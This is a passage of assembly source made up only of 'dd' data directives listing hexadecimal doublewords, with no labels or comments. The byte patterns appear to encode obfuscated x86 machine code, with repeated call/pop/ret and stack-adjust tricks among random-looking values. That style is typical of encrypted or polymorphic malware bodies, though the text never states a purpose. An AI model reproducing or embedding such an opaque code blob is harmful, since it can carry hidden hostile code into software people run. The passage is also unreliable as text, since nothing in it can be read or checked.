		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 0AC8A59C3h, 8D89B616h, 6A933B1h, 2D9595FFh, 23B606A9h
		dd 0FFFFCBE9h, 0E810FFFh, 60000000h, 11D1BD8Bh,	800F06A9h
		dd 0
		dd 0EB816661h, 85C7399Eh, 6A90E4Dh, 1, 64569EBAh, 6860F15h
		dd 89000000h, 0A90D898Dh, 62858906h, 2906A94Dh,	0A935119Dh
		dd 5B529006h, 90D88A50h, 0DB9BD01h, 2B6006A9h, 0A9342D95h
		dd 60056A06h, 3B9CB966h, 499D89h, 8D6106A9h, 0A94D7A85h
		dd 6690F906h, 509EEABBh, 68A0F90h, 89000000h, 0A9113D95h
		dd 6A858D06h, 8B06A94Dh, 0A934199Dh, 0D38B9006h, 66505250h
		dd 5B5BD18Bh, 49958990h, 0B306A90Fh, 0BD95FF93h, 8B06A91Ch
		dd 0A922959Dh, 0C19D2906h, 8D06A90Eh, 0A97AE18Dh, 0BC2B306h
		dd 8D1174C0h, 0A94D7A85h, 0D1FF5006h, 4D988589h, 0AEB06A9h
		dd 4D9885C7h, 0FFFF06A9h, 8529FFFFh, 6A925BDh, 2A0D9D8Bh
		dd 6A6106A9h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 4067C352h, 0B185C60Bh,	4D06A916h
		dd 6E7E68F8h, 0DE833B3h, 0D7000000h, 0A530D729h, 9FB70972h
		dd 14D235D4h, 815B9EB7h, 82A2404h, 5E97082h, 4000000h
		dd 9B945615h, 1DC9B5FFh, 6A06A9h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 708C0C3h, 2415178h, 0EE8D38Bh
		dd 90000000h, 0D2A22EDAh, 0AD972BEBh, 0B51C2C2h, 51BA60B9h
		dd 0BA67F51Dh, 4F7E7846h, 858D5B61h, 6AC73FCh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0E0C35141h, 45D3EC5h
		dd 0B36BCE40h, 89D0FFFEh, 0A9167D8Dh, 5858906h,	6A06A921h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 0DAE1C351h, 33299D23h, 85C606A9h,	6A916B1h
		dd 52006A45h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 9044B415h, 4D95298Fh, 6806A90Dh,	54FE31A4h
		dd 481E1B3h, 7437C524h,	0D8BF0F39h, 10B5B5FFh, 6A06A9h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 238F26C3h, 894E0274h, 0A9106595h, 73E7BB06h,	0D08B2880h
		dd 73FC858Dh, 6A06ACh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 0E2F908C3h, 0BF0FE04Ah, 8BD0FFD3h
		dd 0A935A195h, 440ABB06h, 85894197h, 6A92041h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 33C35545h, 7AEEBCCCh
		dd 35C1BBF1h, 0D28B7D45h, 3830Fh, 0CB800000h, 0D98C665Eh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0FEC35242h
		dd 7A9D441Fh, 0BE28E58Eh, 7E999h, 11890000h, 0D3CD1A7Fh
		dd 4C1F636h, 210840Fh, 6A0000h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 0D14E47C3h, 0A53D5409h
		dd 0AEE9FDh, 81660000h,	8B2C3FD2h, 51B58BDFh, 0F06A91Ah
		dd 0C681DBBFh, 1180h, 83D5D380h, 0A90E21BDh, 850F0006h
		dd 39h,	1D019D31h, 860F06A9h, 6, 0E6D9D8Bh, 59E906A9h
		dd 0F000000h, 687h, 0C1952900h,	0E906A915h, 11h, 26EB7F28h
		dd 0BAC3F3EDh, 0FE1CD14Bh, 1B8BEC9Ch, 3E83DDh, 2E840Fh
		dd 0BBBB0000h, 604A335Bh, 79BD8957h, 5A06A931h,	8B66146Ah
		dd 9595FFDFh, 0F06A92Dh, 2961D9B7h, 0A9266D85h,	0FFCFE906h
		dd 9D8BFFFFh, 6A90A65h,	106C7h,	810F0000h, 0Ch,	6830Fh
		dd 9D8B0000h, 6A92A79h,	4D62BD83h, 0F0506A9h, 12D85h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 8BF52ACEh, 0A92041B5h, 0C6805306h, 64B95A50h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 0CB39C355h, 346D958Bh, 3E8006A9h,	21840FE8h
		dd 0F000000h, 4BE9D8B7h, 0F000000h, 82h, 890F6000h, 5
		dd 29E98166h, 0B5958B79h, 6106A921h, 0C2057E80h, 97840Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 0BCCAF8C3h, 9F24254Ch, 1FADB589h,	6A4606A9h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 74F6C355h, 271958Bh, 9D8906A9h, 6A9205Dh
		dd 73850F49h, 66FFFFFFh, 520226BBh, 26D9D23h, 0E95A06A9h
		dd 3Eh,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h
		dd 0E7C35747h, 0AF37A02Dh, 8E9h, 82819600h, 0EF7F0C67h
		dd 51B5894Fh, 106A905h,	0A90339B5h, 0E3816606h,	31589068h
		dd 0A9263D95h, 9DBD8306h, 6A934h, 11C840Fh, 9D230000h
		dd 6A91F65h, 0B159BA66h, 53006A60h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 13E969B1h, 0A4000000h
		dd 0E6C86F19h, 1D73FD89h, 4C9C5ECEh, 2E989985h,	0E6807D70h
		dd 0B185C66Ch, 5406A916h, 4E8F9h, 0BEF40000h, 5250FF4Eh
		dd 7E851h, 80EE0000h, 4ADE3673h, 0F5B5A94h, 5E506031h
		dd 830Fh, 5A610000h, 0D88B5058h, 424448Bh, 88F0Fh, 0F560000h
		dd 85h,	8B5A00h, 8B665250h, 0BA310FD6h,	20D4D70Bh, 4489585Ah
		dd 0AE90424h, 6000000h,	3DEDE02Bh, 7EDF5284h, 9533582Fh
		dd 6A9008Dh, 10B5B5FFh,	0BD0906A9h, 6A917E1h, 38B0Fh, 8B660000h
		dd 0FC858DDFh, 6606AC73h, 0E58FD381h, 0E680D0FFh, 0F006A73h
		dd 0B5FFD0BFh, 6A9349Dh, 8BD1BF0Fh, 0A910999Dh,	6AD0FF06h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 0EBEAC357h, 4B22E6A3h, 8B664FD9h,	950361D0h
		dd 6A90641h, 85C7D68Bh,	6A933C9h, 1, 3D9D89h, 0E96006A9h
		dd 0Eh,	6A2BA051h, 6BAA8282h, 0A96FE0DDh, 9D8BE4A8h, 6A92165h
		dd 0F36B0168h, 24348130h, 30F36B81h, 14E8h, 0A40F8800h
		dd 0C86599A8h, 8EFE27Ch, 4DD18ABCh, 36E0CEE7h, 10E83Dh
		dd 7ACD0000h, 3D99905Eh, 0E5129298h, 0B76F8EA4h, 0B589A5B5h
		dd 6A91FADh, 89515A5Bh,	0A914C585h, 0FF6A5B06h,	0FFD6B70Fh
		dd 0A9057D95h, 8E806h, 9C190000h, 70BDCFD1h, 0DA811352h
		dd 1CBD0CBDh, 0AE8615Ah, 0F4000000h, 0D3472AEFh, 0D70EDAF0h
		dd 12E9BFh, 802C0000h, 90AC6CC1h, 412A9947h, 9BE009A5h
		dd 61928106h, 489505Ah,	0E58D8924h, 8B06A932h, 0A9108185h
		dd 0F5858906h, 8106A91Fh, 367CB9E2h, 0FC00B18h,	0E84h
		dd 0FFD68B00h, 0A917A995h, 4DB50906h, 0C706A90Bh, 0A90E5D85h
		dd 106h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 0BACA461Dh, 7E4B89ECh, 8AB2E0E3h
		dd 9E1BD83h, 0F0006A9h,	1A84h, 28C0F00h, 8B000000h, 4DB589DAh
		dd 0FF06A92Ch, 0A9335195h, 3D9D8B06h, 8306A935h, 0A900C5BDh
		dd 840F0006h, 34h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 3AC35141h, 0ACFBD360h, 80564171h, 0FC5A68C2h
		dd 1F4595FFh, 0C28106A9h, 55273A05h, 1019BD83h,	0F0006A9h
		dd 2584h, 0F1B50900h, 8906A900h, 0A9104DBDh, 9BD8306h
		dd 6A90Dh, 0C850Fh, 0BA660000h,	95FFFD65h, 6A9212Dh, 0BD83D98Bh
		dd 6A933E1h, 65840F00h,	0E9000000h, 7, 31DEDFF2h, 89D2B47Bh
		dd 0A92865BDh, 45858106h, 306A924h
		dd 6A000040h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 8BBBC355h, 0A911799Dh,	9858106h
		dd 306A902h, 6A000040h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 1910C355h, 6A310Fh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 9C02C2C3h, 2A1BE2B0h, 45958BFBh, 0E906A935h,	5, 0B185F4CBh
		dd 7C8D8DA1h, 8906A95Dh, 0A9355985h, 6A018906h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 0AF71C356h, 0D68B6648h, 25C99D89h, 0C23306A9h, 5DB2D68Bh
		dd 66044189h, 0F3717BBh, 6D958B31h, 306A926h, 0A91F199Dh
		dd 0A88D8D06h, 8906A95Dh, 0A90789B5h, 0BA018906h, 66D1508Ah
		dd 10E9C233h, 0B3000000h, 32831238h, 0AAB95B60h, 1571E30h
		dd 89C83C27h, 6A0441h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 82716FC3h, 0A5FED7F7h, 0BD836A70h
		dd 6A91EDDh, 40840F00h,	6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0AFA6C351h
		dd 0CE558D77h, 9589A7E6h, 6A9210Dh, 59195FFh, 0CE906A9h
		dd 0F5000000h, 0F53628ADh, 0BD0001C6h, 834DA24Bh, 0A90189BDh
		dd 850F0106h, 4Dh, 46E961B6h, 29000000h, 0A92C8D85h, 1B58B06h
		dd 0C706A95Fh, 6, 0C3B58B00h, 0C706A95Ch, 6, 0BF0FCF00h
		dd 57006ADEh, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 0F7EBF66h, 597E813Ah, 5DBD838Ah,	6A90Eh
		dd 1F0840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 0FCE283C3h, 2AE3680Fh, 2D2F53BBh
		dd 0A7BB6663h, 0CDBD831Bh, 106A910h, 172850Fh, 81660000h
		dd 8B0622DAh, 0A94D568Dh, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 0DE8C617h
		dd 23000000h, 8B1F0B5Fh, 0C49D562Ch, 0C0193F55h, 244D9D8Bh
		dd 0F5B06A9h, 0DA81DFB7h, 16958ED2h, 6A0001C6h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 0D707C353h, 242C214Eh, 0D399589h, 13E906A9h,	94000000h
		dd 8D0BE5C3h, 6C85B121h, 66FBBDF0h, 95DC24C4h, 6A60188Fh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 0C5A8C352h, 68E45FB6h, 79BE0C3Ch,	3481F38Ah
		dd 0BE0CBC24h, 6AF18A79h, 59B501FFh, 0FF06A91Eh, 0A9057D95h
		dd 0BD896006h, 6A91295h, 3880Fh, 8B660000h, 0B26161D8h
		dd 5995FF25h, 6A06A910h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 9012C350h, 8E0F61CDh
		dd 10h,	0BE9h, 98DFDC00h, 7C1F66C4h, 0AECEADEBh, 4D568D8Bh
		dd 6A06A9h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 86F233C3h, 6E6EC678h, 896FBE06h, 0A905FD95h
		dd 6A01FE06h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 38B9C353h, 95099B28h, 6A929F1h
		dd 2379BD83h, 0F0106A9h, 3985h,	52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 803B10F9h
		dd 13E9EDC3h, 32000000h, 0FF84C89Dh, 65FD33E4h,	0DB0E1614h
		dd 0A8203A4Ch, 0C08BFAA5h, 0FEEE8160h, 6641013Ah, 0CD22E781h
		dd 1DBD8361h, 6A913h, 0BD830975h, 6A91431h, 501A7400h
		dd 8BC08B53h, 0A9244585h, 45858906h, 8D06A924h,	0ABB45C9Dh
		dd 5BD3FF06h, 31BD8358h, 6A914h, 53501874h, 2445858Bh
		dd 858906A9h, 6A92445h,	0B14B9D8Dh, 0D3FF06ABh,	6A585Bh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 0B58992C3h, 6A911A5h, 2A718509h, 958906A9h, 6A91A99h
		dd 9529C08Bh, 6A903B9h,	0E5DBD83h, 0F0006A9h, 1585h, 45B50100h
		dd 8306A92Ch, 0A90ED9BDh, 840F0006h, 2,	0BD83FE8Ah, 6A90E5Dh
		dd 52840F00h, 0F5000000h, 0F9DBD83h, 0F0006A9h,	4484h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 6287048Ah, 234E89C9h, 13E8FA65h,	78000000h
		dd 39E1286Eh, 0B08280D7h, 0B282BA68h, 423107F7h, 9D333550h
		dd 6A904D5h, 5DBD835Ah,	6A90Eh,	25840Fh, 0C2810000h, 1D4024CEh
		dd 0F9DBD83h, 0F0006A9h, 1284h,	7E900h,	0F7ED0000h, 48625408h
		dd 0D58D89F0h, 8306A91Dh, 0A90E5DBDh, 840F0006h, 2Fh, 47FBBB66h
		dd 2171BD83h, 0F0006A9h, 1E84h,	51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 83420C7Ch
		dd 0A90E5DBDh, 840F0006h, 58h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 0C6C35545h,	0FD65BCD9h, 0F28166B7h
		dd 0BD8355F6h, 6A927DDh, 25840F00h, 0E8000000h,	13h, 98D0A696h
		dd 0C101E9AFh, 0EB80DE3h, 7BDD9CC5h, 5AD5FC90h,	29B195FFh
		dd 0BD8906A9h, 6A9046Dh, 6AC08Bh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 666001C3h, 2B86CF81h
		dd 1DBD8361h, 6A913h, 0BD830975h, 6A91431h, 501A7400h
		dd 8BC08B53h, 0A9020985h, 9858906h, 8D06A902h, 0ABB4C39Dh
		dd 5BD3FF06h, 31BD8358h, 6A914h, 53501874h, 209858Bh, 858906A9h
		dd 6A90209h, 0B1649D8Dh, 0D3FF06ABh, 0BD89585Bh, 6A9150Dh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 11C35040h
		dd 631BD89h, 0C08B06A9h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 0CBC35646h, 0FD3894BDh, 2A7DC86Ch, 5DBD838Dh
		dd 6A90Eh, 37D840Fh, 0ABA0000h,	834BC3A8h, 0A90139BDh
		dd 840F0206h, 2Eh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 14h, 0FC35242h, 189BD83h, 0F0106A9h, 585h
		dd 0C3816600h, 0F605F51h, 684h,	0A8EB8100h, 8B583C87h
		dd 0A94D568Dh, 12E906h,	0C1860000h, 88C8B1BAh, 8F6917AEh
		dd 0E6F6A5ACh, 5306CD9Fh, 816601FEh, 68C38BD2h,	0A3C3941Fh
		dd 0ADBB6660h, 4816149h, 3C6C6124h, 599D8B5Ch, 8906A904h
		dd 0A9129D8Dh, 89FF6A06h, 0A928BD8Dh, 7D95FF06h, 8B06A905h
		dd 0A935619Dh, 9D8B6106h, 6A91A09h, 0BD8D22B6h,	6A91611h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 5EC35343h
		dd 0C5AF2435h, 0D0754363h, 1C4F8B71h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 0D5C35545h,	0D88ACDDBh, 9D01FC21h
		dd 6A91405h, 8166016Ah,	919A52EAh, 9E8h, 0F3961500h, 0F4B658C2h
		dd 0BB667346h, 505AEA34h, 28F0Fh, 0D08B0000h, 55006A91h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 3E0FA26Dh, 63BB66E7h, 17858DFBh, 2906AC38h, 0A90951B5h
		dd 0DD958B06h, 0FF06A91Dh, 204F8BD0h, 4C3EEB81h, 36A7537h
		dd 1CB9B509h, 669106A9h, 50B34FBAh, 8B91F38Ah, 0A904ED9Dh
		dd 17858D06h, 6606AC38h
		dd 8B33A3BAh, 0A911199Dh, 81D0FF06h, 0A005A3F2h, 11BD8D07h
		dd 8B06A916h, 0A92E8595h, 1C4F8B06h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 96C35040h, 1681A2B7h, 89990B71h
		dd 0A9218DB5h, 6A50B306h, 51006A01h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 0D28B659Ah
		dd 0D9B5319Ah, 8006A927h, 8B5012CFh, 240C89DFh,	8DDF8B66h
		dd 0AC381785h, 0D0FFF906h, 204F8BF5h, 0E05958Bh, 8D0F06A9h
		dd 2, 36AD78Ah,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ch,	0BEC35242h, 631B2157h, 4F7B62B9h, 13F59533h, 536006A9h
		dd 13C1958Bh, 895906A9h, 0A913E99Dh, 0B6506106h, 240C89C8h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 4DC35141h
		dd 6A68400Eh, 7E9h, 4E977600h, 0E7E567E1h, 3817858Dh, 9D8906ACh
		dd 6A9017Dh, 0BA66D0FFh, 8D8B3E14h, 6A94D56h, 800F01FEh
		dd 2, 858BFA8Ah, 6A94D56h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 3C35646h, 0AA18874Ah,	0F8B8C29h, 1588h
		dd 10E900h, 95B60000h, 0CC2E1CE1h, 0F9591FA9h, 0B0F418E1h
		dd 0FE222Ah, 6ADE8B66h,	57006A01h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 298768DCh, 0CE9857Ah
		dd 0AA000000h, 0AEFD322Eh, 25AF0472h, 81878C65h, 0B6782434h
		dd 860F7A85h, 0Fh, 0AE9h, 0C1BAC00h, 9BE4E7D3h,	8D76FDCAh
		dd 0AC382185h, 50006A06h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 84C168BDh, 0BD898DE6h
		dd 6A92CA1h, 31BBD0FFh,	8370A019h, 0A90ED9BDh, 840F0006h
		dd 0C3h, 23D28166h, 0CE957h, 0CF870000h, 0C06E8093h, 0EDFE4F5Ah
		dd 0BD83F83Bh, 6A912ADh, 0A0850F01h, 66000000h,	8D98EEBBh
		dd 0AC382B8Dh, 25958B06h, 6A06A911h, 0D18B6603h, 9D8B016Ah
		dd 6A919E5h, 6AD1FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 3BFD01C3h, 66986EE8h, 16ADE8Bh
		dd 37EA8166h, 0D68B668Dh, 9D8B016Ah, 6A9346Dh, 0BD09D1FFh
		dd 6A908A5h, 0B26E7AE8h, 52006AF9h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 0E83B765Eh, 13h, 838DAD98h
		dd 877BDAD7h, 0C9766C23h, 0A4192B45h, 56676C82h, 5A5A2DB2h
		dd 6AD1B70Fh, 6AC2B720h, 0D9B70FFFh, 57D95FFh, 958906A9h
		dd 6A92A71h, 0B8h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 8B207810h, 0A91F3595h
		dd 0A18D0106h, 8B06A928h, 0A9097D95h, 0FC00B06h, 4C84h
		dd 83D08B00h, 0A92EA9BDh, 840F0006h, 3Dh, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 1Bh, 0E6C35343h, 43E8B6F4h
		dd 6603CEA8h, 0C45ADA81h, 0E5E38166h, 9595FF6Ah, 0F06A92Eh
		dd 80h,	5BB6600h, 11858BB1h, 6A06A911h,	3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 9BE5C350h
		dd 892C7495h, 0C6816660h, 0B58B1501h, 6A91A99h,	0EA815761h
		dd 319248D3h, 0C65Ah, 68E06EBBh, 85895817h, 6A90345h, 66D98C66h
		dd 0F6F2F4BAh, 840F04C1h, 39h, 4830Fh, 0BB660000h, 2AE9468Ch
		dd 8B000000h, 51B58BD7h, 906A91Ah, 0A9044185h, 80C68106h
		dd 66000011h, 0C741C9BAh, 6, 0E59D8900h, 8B06A90Dh, 0A9143595h
		dd 6A5E06h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 0D2A22EC3h, 0AD972BEBh, 2609B589h, 0F88306A9h
		dd 0C8840F00h, 8900000Bh, 0A901958Dh, 1F88306h,	186850Fh
		dd 958B0000h, 6A90579h,	0FDC38166h, 0B8A7h, 0BF0F0000h
		dd 0FC00BDEh, 0E584h, 0D88B6600h, 0F01F883h, 11984h, 5E800h
		dd 3A400000h, 8B3127FCh, 0A92C7195h, 0F8835A06h, 6C840F03h
		dd 8B000000h, 0A912099Dh, 0B806h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 0E3F515C3h
		dd 850F6021h, 3, 8998E980h, 0A91A2585h,	0BD8D6106h, 5B89E0h
		dd 0AFD9E381h, 0E7FF2E1Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 18h, 87C35747h, 41550EC8h,	0B85BF552h, 1
		dd 0EE9h, 2BE07900h, 7BFAAB2Ah,	0C10EDCE7h, 8DABDCF2h
		dd 5B89E0BDh, 31958900h, 0BB06A927h, 1C838A20h,	6AE7FFh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 687FAFC3h, 0A4C69E73h, 3518589h, 0BD8D06A9h,	6A943E2h
		dd 88D8589h, 0FBE906A9h, 6A000002h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 9C14C352h
		dd 0DA63E602h, 27ED9D89h, 8B5706A9h, 0A921499Dh, 85C75A06h
		dd 6A94DB1h, 5,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 17h,	35C35141h, 60AE4CAFh, 1391B58Bh, 0C38B06A9h, 5B861h
		dd 0B70F0000h, 99BE9D8h, 95890000h, 6A92871h, 0F02F883h
		dd 15D85h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1B04h, 0C3514100h, 3C9A3F40h, 8E8E55CDh, 0B8h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 8572E90Eh, 29AF9CAFh, 0A91D6595h, 0FC00B06h,	8084h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 89024625h, 0A9224D9Dh, 1F88306h,	0FF2C840Fh
		dd 6AFFFFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 0F2944C3h, 680h, 299D8B00h, 8306A903h, 840F03F8h
		dd 0FFFFFE67h, 33E99D8Bh, 0B806A9h, 0F000000h, 6DB2D9BFh
		dd 89E0BD8Dh, 0BF0F005Bh, 89E7FFD6h, 0A904C5B5h, 0DABD8D06h
		dd 6A06A945h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 0DD45C356h, 12E8h, 6D69C500h
		dd 7746807Bh, 271B65EAh, 124FBEE6h, 605CB780h, 9D89FE8Bh
		dd 6A934E1h, 9D8B5B61h,	6A90FA1h, 155E9h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h
		dd 18B8D7E1h, 0BD797CD5h, 8D43BBCAh, 66605E44h,	8B0ED6BBh
		dd 0A922C985h, 0F8836106h, 1E850F03h, 33000000h, 0A920D595h
		dd 6EBD8D06h, 6606A947h, 812D5FBBh, 29B6D1DBh, 0FCE935h
		dd 0B70F0000h, 5F883D7h, 0D850Fh, 0D78A0000h, 7F8E9h, 0F9958B00h
		dd 8306A911h, 850F06F8h, 18h, 799B589h,	0BD8D06A9h, 6A94966h
		dd 0C8E9FCh, 9D8B0000h,	6A9100Dh, 0F07F883h, 5985h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 8B62D77Bh, 0A91D8995h, 0E5BD8D06h, 6A06A917h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 3B5FC356h, 8166E982h, 0E9A7B5F2h, 0BFh, 7B9958Bh, 0F88306A9h
		dd 57850F0Ah, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch
		dd 1C042444h, 43000000h, 4872C353h, 8CDE20E0h, 894E8CD6h
		dd 0A917CDBDh, 5EBD8D06h, 8B06A94Bh, 20E9D3h, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 831F93C3h, 0F55764A9h, 7D7D12B9h, 0C19D8B72h, 8306A932h
		dd 840F003Fh, 3Ch, 6870Fh, 958B0000h, 6A91A25h,	56600F30h
		dd 33299D0Bh, 8B5806A9h, 0A9005985h, 0BD896106h, 6A919F5h
		dd 9D29C9D1h, 6A92015h,	0AFBA6647h, 0FFC1E943h,	9589FFFFh
		dd 6A92D39h, 0C5958B5Fh, 8906A926h, 0A94D5ABDh,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 4B7DDBE5h, 9D29D98Bh, 6A903A9h, 0A79BDA81h, 8D8D1476h
		dd 6A90B7Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 14h,	0B9C35343h, 188A0F51h, 0E9000000h, 13h,	646E9C20h
		dd 0C3C38A86h, 397C15CAh, 591A7324h, 5A6ED6AEh,	2041B5FFh
		dd 6A06A9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 50DB32C3h, 0DE9h,	306EB000h, 75E94B12h, 38055CBEh
		dd 0DA8BD864h, 0A6B1858Dh, 8D5006ABh, 0A95589BDh, 0E98D8D06h
		dd 0B806A96Eh, 54831ABCh, 730CF2Bh, 4947C8D0h, 0B58DF875h
		dd 6A96E1Bh, 6F018D8Dh,	0CF2B06A9h, 0C933A4F3h,	0B8h, 74C00B00h
		dd 0A9BD8346h, 6A92Eh, 95FF0674h, 6A92E95h, 4D5AB58Bh
		dd 858D06A9h, 6ABA6B1h,	858DD0FFh, 6A94365h, 85C7D0FFh
		dd 6A932A1h, 1,	1CD5A58Bh, 0B58B06A9h, 6A932F1h, 1DB5AD8Bh
		dd 0C03306A9h, 60000CC2h, 0F318D03h, 6A6106A9h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 8ED5C355h, 1DBD830Eh, 6A90Fh, 14840Fh, 0BCB60000h, 12E995FFh
		dd 8A0F06A9h, 6, 27D98531h, 0BD8306A9h,	6A90E21h, 3C850F00h
		dd 6A000002h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 0DB07C350h, 0EB813457h, 2B75C56Ah
		dd 0E1D958Bh, 0BD8306A9h, 6A912ADh, 4850F01h, 6A000002h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 5364C355h, 852968AEh, 6A9037Dh, 1049BD83h
		dd 0F0006A9h, 1D284h, 0C99D8B00h, 8306A92Ch, 0A94DADBDh
		dd 840F0006h, 1BFh, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 14h, 0F5C35242h, 215B589h,	858D06A9h, 6ABA6B1h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 21C35343h
		dd 0B45DAEAEh, 870FD0B7h, 2, 0B58B18B2h, 6A94D5Ah, 0A8A0Fh
		dd 5E90000h, 15000000h,	0DC521BEAh, 0CE8D0FFh, 0FA000000h
		dd 3444985Fh, 0C89CBADAh, 6634F08Dh, 5BD286BAh,	16B185C6h
		dd 665406A9h, 8B66DE8Bh, 0CD8F68D0h, 5750B6BAh,	310F5250h
		dd 5B5A585Ah, 7B243481h, 6A49F473h, 3E85700h, 20000000h
